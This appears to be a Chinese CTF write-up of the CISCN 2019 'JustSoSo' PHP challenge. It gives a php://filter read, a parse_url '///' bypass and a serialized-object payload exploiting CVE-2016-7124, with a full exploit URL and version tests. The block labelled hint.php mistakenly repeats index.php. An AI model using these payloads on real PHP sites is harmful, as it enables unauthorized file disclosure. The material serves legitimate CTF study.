这个题目又碰到了,所以复现一下,过程中又学到了很多东西,记录记录

题目环境

2019国赛线上的一个题目JustSoSo,总共三个文件:index.php,hint.php,flag.php,贴一下源码

index.php

<html><?phperror_reporting(0);$file = $_GET["file"];$payload = $_GET["payload"];if(!isset($file)){echo 'Missing parameter'.'<br>';}if(preg_match("/flag/",$file)){die('hack attacked!!!');}@include($file);if(isset($payload)){$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);print_r($query);foreach($query as $value){if (preg_match("/flag/",$value)) {die('stop hacking!');exit();}}$payload = unserialize($payload);}else{echo "Missing parameters";}?><!--Please test index.php?file=xxx.php --><!--Please get the source of hint.php-->
</html>

hint.php

<html><?phperror_reporting(0);$file = $_GET["file"];$payload = $_GET["payload"];if(!isset($file)){echo 'Missing parameter'.'<br>';}if(preg_match("/flag/",$file)){die('hack attacked!!!');}@include($file);if(isset($payload)){$url = parse_url($_SERVER['REQUEST_URI']);parse_str($url['query'],$query);print_r($query);foreach($query as $value){if (preg_match("/flag/",$value)) {die('stop hacking!');exit();}}$payload = unserialize($payload);}else{echo "Missing parameters";}?><!--Please test index.php?file=xxx.php --><!--Please get the source of hint.php-->
</html>

flag.php,这里是自己编的

<?php
$flag = "just_so_so";
?>

解题过程

index.php
在index.php的注释中,会发现存在LFI,还有hint.php,所以通过filter伪协议读取文件index.php,hint.php,flag因为被过滤了,所以不能直接读取,否则这题也没啥意思。

php://filter/read=convert.base64-encode/recource=index.php

首先看index.php,传入file和payload两个参数,加上过滤,然后include($file)(这个可以用来包含hint.php)。接下来对我们传入的参数进行正则匹配,过滤了flag。parse_url函数存在漏洞,可以多加上//进行绕过,使得该函数获取的返回值为空。具体可以参考:parse_url函数小记
在index.php的最后是反序列化。

hint.php
在hint.php中,两个类HandleFlag,看到Flag类中的函数getFlag,这应该就是突破点,当$file=flag.php时,就可以读取flag
利用过程:构造一个Handle类对象a,然后对象a中handle值指向一个Flag类对象b,同时b的token和token_flag值是相同的(因为两个变量都是md5随机数,所以使用地址),为了防止__wakeup()函数将参数都置为空,需要修改变量数量,避免执行__wakeup()函数

payload

<?php
class Handle{ private $handle;  public function __construct($handle) {$this->handle = $handle;}
}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;}
}
$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);

运行结果:

O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

但是需要修改变量数量,将1改为2即可;同时注意s:14:"Handlehandle";,虽然看起来只有12个字符,但是该成员属性为private,序列化后,会在Handle前后加上0x00,故长度为14=12+2.在传参的时候,要记着进行编码,所以payload是

O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

再加上之前的file,我这里复现题目放在justsoso文件夹内了,所以url多了一个目录

http://127.0.0.1///justsoso/index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

复现过程中可能遇到的一点问题

在这个复现的过程中,遇到了点php版本的问题,学长帮忙解决了,自己还是太菜了,按照代码执行过程说下两个问题吧
首先,代码会执行到index.php中的parse_url,然后会在hint.php中,执行$this->handle->getFlag();,这两个地方根据php版本的不同得到的结果也不同。

parse_url

///可以绕过,使得parse_rul返回false,但是有php版本的限制
为了测试,我在index.php中加了一行代码

为了方便,用的phpstudy,方便切换php版本
在php5.6.59及以下,回显Array()

在php7.0.9中,就不适用了,回显stop hacking
而在php7.3.4中,回显

但是没有flag,这就是另一个问题了

$this->handle->getFlag();

CVE-2016-7124

所以特地将代码重新切分,摘出一个test.php出来,将parse_url去掉

<?php
class Handle{ private $handle;  public function __wakeup(){foreach(get_object_vars($this) as $k => $v) {$this->$k = null;}echo "Waking up\n";}public function __construct($handle) { $this->handle = $handle; } public function __destruct(){echo "1111111";$this->handle->getFlag();}
}class Flag{public $file;public $token;public $token_flag;function __construct($file){$this->file = $file;$this->token_flag = $this->token = md5(rand(1,10000));}public function getFlag(){echo "2222";$this->token_flag = md5(rand(1,10000));if($this->token === $this->token_flag){if(isset($this->file)){echo "3333";echo $this->file;echo @highlight_file($this->file, true);}  }
}
}
$payload = $_GET["payload"];
unserialize($payload);

在php7.0.9以前及php5.x中,可以执行

在php7.3.4及以上中,修复了上面的漏洞,啥都没回显

综上,php版本最好是5.x,才能够比较顺利的复现

JustSoSo复现相关推荐

  1. 2019CISCN web题赛-JustSoSo;love_math(复现)

    0x00前言 这几天从网上找个CMS源码开始练习审计,盯着众多的代码debug调呀调头晕脑胀的,还不错找到个文件读取和一个ssrf... 上月底结束的CISCN线上赛,web四道,仔细研究的2道,做出 ...

  2. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  3. Facebook 发布深度学习工具包 PyTorch Hub,让论文复现变得更容易

    近日,PyTorch 社区发布了一个深度学习工具包 PyTorchHub, 帮助机器学习工作者更快实现重要论文的复现工作.PyTorchHub 由一个预训练模型仓库组成,专门用于提高研究工作的复现性以 ...

  4. 【目标检测】yolo系列:从yolov1到yolov5之YOLOv1详解及复现

    检测器通常能够被分为两类,一类是two-stage检测器,最具代表的为faster R-CNN:另一类是one-stage检测器,包括YOLO,SSD等.一般来说,two-stage检测器具有高定位和 ...

  5. CV算法复现(分类算法2/6):AlexNet(2012年 Hinton组)

    致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 目录 致谢:霹雳吧啦Wz:https://space.bilibili.com/18161609 1 本次要 ...

  6. 【神经网络】(17) EfficientNet 代码复现,网络解析,附Tensorflow完整代码

    各位同学好,今天和大家分享一下如何使用 Tensorflow 复现 EfficientNet 卷积神经网络模型. EfficientNet 的网络结构和 MobileNetV3 比较相似,建议大家在学 ...

  7. 【神经网络】(16) MobileNetV3 代码复现,网络解析,附Tensorflow完整代码

    各位同学好,今天和大家分享一下如何使用 Tensorflow 构建 MobileNetV3 轻量化网络模型. MobileNetV3 做了如下改动(1)更新了V2中的逆转残差结构:(2)使用NAS搜索 ...

  8. 【神经网络】(15) Xception 代码复现,网络解析,附Tensorflow完整代码

    各位同学好,今天和大家分享一下如何使用 Tensorflow 构建 Xception 神经网络模型. 在前面章节中,我已经介绍了很多种轻量化卷积神经网络模型,感兴趣的可以看一下:https://blo ...

  9. 【神经网络】(14) MnasNet 代码复现,网络解析,附Tensorflow完整代码

    各位同学好,今天和大家分享一下如何使用 Tensorflow 复现谷歌轻量化神经网络 MnasNet  通常而言,移动端(手机)和终端(安防监控.无人驾驶)上的设备计算能力有限,无法搭载庞大的神经网络 ...

最新文章

  1. 如何让li中的标签内容横向排列
  2. 个人银行账户管理程序
  3. NLP入门必知必会(一):Word Vectors
  4. YUM(Yellow gog Updater Modifie)服务器的配置
  5. linux下mkdir
  6. Linux之cmake3.6安装
  7. 通讯接口应用笔记2:MAX3160实现多协议通讯
  8. AxonFramework,存储库
  9. 从字节码看java中 this 的隐式传参
  10. c mysql dll_PHP5.3以上版本没有libmysql.dll,以及由此带来的困扰
  11. 调用阿里API创建阿里云主机
  12. jsoup Cookbook(中文版)
  13. springboot+jsp校园美食餐厅订餐系统
  14. NX二次开发-BlockUI对话框嵌套MFC对话框制作进度条
  15. 服务器Socket概述与实例
  16. 博客网站怎么做,怎样建立一个自己的网站
  17. android 内存分析工具ASAN 学习
  18. 《今日简史》PDF/非mobi epub
  19. WordPress Avada主题评测:非常受欢迎但值得吗? (2022)
  20. 第四次计算革命孕育“数字经济体”

热门文章

  1. 力扣(350.121)补9.3
  2. 这款App连夜被下架!
  3. 小武告诉滨滨每天可以吃一块或者两块巧克力。假设滨滨每天都吃巧克力,问滨滨共有多少种不同的吃完巧克力的方案。
  4. 上半年要写的博客文章29
  5. 驱动辅助资料(工具,目录,指令,debug经验)
  6. 极路由1S升级系统之后再刷机学习记录
  7. 【嵌入式Linux应用】初步移植MQTT到Ubuntu和Linux开发板
  8. 浙江大学计算机2020分数线,2021年浙江大学录取分数线(含2019-2020分数线)
  9. React+阿里云Aliplayer播放器实现rtmp直播(推流时间差,重启播放器,计时观看)
  10. web可嵌入编辑器汇总